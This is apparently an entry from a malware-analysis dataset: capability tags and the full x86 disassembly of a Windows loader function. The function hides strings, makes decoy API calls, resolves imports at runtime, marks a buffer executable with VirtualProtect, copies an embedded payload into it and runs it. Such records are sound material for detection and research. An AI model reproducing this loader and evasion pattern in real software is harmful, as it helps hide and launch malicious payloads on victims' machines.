Function at 0x40d860
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get system information on windows
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x984
mov eax, dword [0x41a1ec]
xor eax, esp
mov dword [esp + 0x980], eax
push ebx
push esi
push edi
mov dword [esp + 0x28], 0x7dd4dac0
sub dword [esp + 0x28], 0x7ced4c34
mov dword [esp + 0x50], 0x33907bb3
sub dword [esp + 0x28], 0x4d088329
add dword [esp + 0x28], 0x19fb50b
mov dword [esp + 0x30], 0x3a55614
add dword [esp + 0x50], 0x1473901c
add dword [esp + 0x28], 0x4d8ae5e8
add dword [esp + 0x50], 0x749eb813
add dword [esp + 0x28], 0x77d928dd
add dword [esp + 0x28], 0x3155e3c7
mov dword [esp + 0x2c], 0x2001f9a7
mov dword [esp + 0x58], 0x6eb96564
mov dword [esp + 0x6c], 0x270207b9
add dword [esp + 0x30], 0x21b2189
mov dword [esp + 0x1c], 0x4b70dff3
mov dword [esp + 0x38], 0x6fb2ec4e
mov dword [esp + 0x80], 0x78475bc3
sub dword [esp + 0x6c], 0x68cfd0d1
sub dword [esp + 0x2c], 0x8de40e
mov dword [esp + 0x94], 0x9bbb3ab
sub dword [esp + 0x6c], 0x49e9c70f
sub dword [esp + 0x58], 0x7c973193
sub dword [esp + 0x28], 0x7f4ba6b
add dword [esp + 0x50], 0x50b447f8
sub dword [esp + 0x58], 0x11f27f6c
sub dword [esp + 0x2c], 0x64239bd5
sub dword [esp + 0x6c], 0x56dab5c4
add dword [esp + 0x28], 0x98ea6c8
add dword [esp + 0x30], 0x15dcfc09
mov dword [esp + 0x40], 0x7f85b1a6
sub dword [esp + 0x80], 0xf18b1cf
add dword [esp + 0x40], 0x2850317b
sub dword [esp + 0x6c], 0x2dbe669c
add dword [esp + 0x2c], 0x753af787
mov dword [esp + 0x98], 0x60203372
sub dword [esp + 0x28], 0x8db5694
sub dword [esp + 0x80], 0xfe48dfa
mov dword [esp + 0x90], 0x42c11e4f
mov dword [esp + 0x64], 0x9ce1c1d
sub dword [esp + 0x2c], 0x1354c0b0
sub dword [esp + 0x90], 0x80f197c
add dword [esp + 0x90], 0x2caab008
add dword [esp + 0x40], 0x2c8e8b1e
mov dword [esp + 0x48], 0x6f062b1d
sub dword [esp + 0x40], 0x435fb38d
sub dword [esp + 0x6c], 0x529429dc
mov dword [esp + 0x54], 0x270eadae
add dword [esp + 0x58], 0x6020d70b
mov dword [esp + 0x84], 0x77fa0846
sub dword [esp + 0x2c], 0x61e77be7
mov dword [esp + 0x8c], 0x6900d8e
sub dword [esp + 0x2c], 0x4ecdc522
mov dword [esp + 0x60], 0x5eb37751
add dword [esp + 0x40], 0x266f5e41
mov dword [esp + 0x34], 0x5e578f01
mov dword [esp + 0x24], 0x30ba32d3
add dword [esp + 0x38], 0x4bca742
sub dword [esp + 0x90], 0x5fb8ca13
sub dword [esp + 0x58], 0x72f502bc
add dword [esp + 0x8c], 0x5ddd5b1e
sub dword [esp + 0x80], 0xc702476
sub dword [esp + 0x48], 0x7e89041a
sub dword [esp + 0x6c], 0xf8d6f7f
add dword [esp + 0x24], 0x257846ea
add dword [esp + 0x38], 0x825e9ce
add dword [esp + 0x64], 0x8ff24de
sub dword [esp + 0x60], 0x4adaad79
sub dword [esp + 0x64], 0x651409b2
add dword [esp + 0x1c], 0x6f893d6d
sub dword [esp + 0x90], 0x6f836ab5
mov dword [esp + 0x18], 0x454d2ebd
add dword [esp + 0x98], 0x7c956537
sub dword [esp + 0x90], 0x62462f7
sub dword [esp + 0x54], 0x6365dc4f
mov dword [esp + 0x14], 0x29dd2e92
add dword [esp + 0x40], 0xc48b9db
mov dword [esp + 0x20], 0xf1ae783
mov dword [esp + 0x68], 0x645f253b
sub dword [esp + 0x24], 0x3e415248
mov dword [esp + 0x78], 0x66fedf60
add dword [esp + 0x90], 0x149ce953
sub dword [esp + 0x40], 0x17977ded
add dword [esp + 0x18], 0x5c84f536
mov dword [esp + 0x70], 0x764bcac1
sub dword [esp + 0x60], 0x48e94ee8
mov dword [esp + 0x44], 0x5a89ef2b
add dword [esp + 0x40], 0x672b4d6c
sub dword [esp + 0x84], 0x3f47a162
mov dword [esp + 0x4c], 0x7098599d
sub dword [esp + 0x34], 0x6cdfdfa7
sub dword [esp + 0x98], 0x7357d63
mov dword [esp + 0x7c], 0x491b6dfe
mov dword [esp + 0x5c], 0x623c0470
sub dword [esp + 0x70], 0x6ab83e28
sub dword [esp + 0x40], 0x5cb64677
mov dword [esp + 0x88], 0x6d13fdd
sub dword [esp + 0x38], 0x28dd02f8
add dword [esp + 0x40], 0x76c1dc40
mov dword [esp + 0x3c], 0x5b246361
add dword [esp + 0x88], 0x4c416f5a
add dword [esp + 0x68], 0x6cb71733
sub dword [esp + 0x54], 0x6dcac978
add dword [esp + 0x5c], 0x694cc55c
sub dword [esp + 0x20], 0x25445043
add dword [esp + 0x94], 0x6373f380
sub dword [esp + 0x5c], 0x4b054118
add dword [esp + 0x84], 0x7c62d561
mov dword [esp + 0x74], 0x701b783a
sub dword [esp + 0x3c], 0x3bb8aef2
sub dword [esp + 0x8c], 0x135fc3aa
sub dword [esp + 0x88], 0x2784118c
sub dword [esp + 0x14], 0x183786ab
add dword [esp + 0x30], 0x5285d314
add dword [esp + 0x48], 0x9175030
sub dword [esp + 0x44], 0x45e660b7
sub dword [esp + 0x80], 0x7182e3b7
sub dword [esp + 0x4c], 0xb57beae
add dword [esp + 0x78], 0x7742ff1a
add dword [esp + 0x24], 0x12399794
add dword [esp + 0x68], 0x33e1766f
sub dword [esp + 0x7c], 0x64ad7ec8
sub dword [esp + 0x44], 0x38278694
sub dword [esp + 0x8c], 0x247976c0
add dword [esp + 0x74], 0x5bcc4c66
add dword [esp + 0x70], 0x4853eec1
add dword [esp + 0x38], 0x5f127e01
add dword [esp + 0x64], 0x552100a3
add dword [esp + 0x78], 0xc2decc3
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0xc], 0x19fd5
add dword [esp + 0xc], 0x932
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xa0], ebx
mov byte [esp + 0x9f], 1
cmp dword [esp + 0xa0], 0x15bf
jle 0x40dd1c
mov byte [esp + 0x9f], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [esp + 0xa0], ebx
jge 0x40ddd7
lea eax, [esp + 0x10]
push eax
push dword [esp + 0xac]
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0xac]
push 0x45a200
push str.haviwexepeniwanegi_kicudosoyi_huruyadeyafi
push 0x298b9c0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0xa
pop ecx
mov esi, str.pihajabonorexokeneve
lea edi, [esp + 0x188]
rep movsd dword es:[edi], dword [esi]
push 0x7d6
lea eax, [esp + 0x1b6]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.0040a460
add esp, 0xc
lea eax, [esp + 0xa4]
push eax
xor esi, esi
lea eax, [esp + 0x18c]
inc esi
push eax
mov dword [esp + 0xac], esi
push dword [esp + 0xac]
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
cmp eax, 0x86ef
je 0x40deb8
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
inc dword [esp + 0xa0]
cmp byte [esp + 0x9f], bl
jne 0x40dd02
xor esi, esi
lea eax, [esp + 0xb4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xb8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x25543
jle 0x40de63
movzx eax, word [esp + 0xb4]
cmp eax, 0xf5e3204
je 0x40de63
cmp dword [esp + 0xa4], 0x5fa6c78
je 0x40de63
cmp dword [esp + 0xc0], 0x5696a3
jne 0x40debf
cmp dword [esp + 0xa8], ebx
jne 0x40deb2
push str.kernel
push 0x41c338
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.kernel32.dll
mov dword [0x41c338], 0x6e72656b
mov dword [0x41c33c], 0x32336c65
mov dword [0x41c340], 0x6c6c642e
mov byte [0x41c344], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0xa8], eax
inc esi
jmp 0x40dded
mov eax, esi
jmp 0x40dff3
lea eax, [esp + 0xe0]
push eax
call fcn.0040175e
push 0x415e9c
push dword [esp + 0xac]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x140]
mov dword [0x41c738], eax
call fcn.004017c6
lea eax, [esp + 0x140]
push eax
mov dword [esp + method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00402641
pop ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
mov eax, dword [0x415dd8]
call fcn.0040d7fd
mov eax, dword [0x41b0cc]
xor edi, edi
mov dword [esp + 0xa4], eax
cmp dword [esp + 0xc], ebx
jbe 0x40dfb6
mov esi, 0x41c744
cmp edi, ebx
jne 0x40df59
push dword [esp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push 0x40
push dword [esp + 0x14]
mov dword [0x41c740], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
mov eax, dword [esp + 0xa4]
mov cl, byte [eax + edi + 0x932]
mov eax, dword [0x41c740]
mov byte [edi + eax], cl
cmp edi, 0x64
jne 0x40dfaf
push esi
push 0x40
push dword [esp + 0x14]
push eax
call dword [0x41c738]
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa0], 0x20
mov eax, dword [esp + 0xa0]
add eax, eax
mov dword [esp + 0xa0], eax
inc edi
cmp edi, dword [esp + 0xc]
jb 0x40df37
push dword [esp + 0xc]
call fcn.0040d803
call fcn.0040d75a
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetNextDlgGroupItem]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov dword [eax + 4], 1
xor eax, eax
mov ecx, dword [esp + 0x98c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402eb0
mov esp, ebp
pop ebp
ret 0x10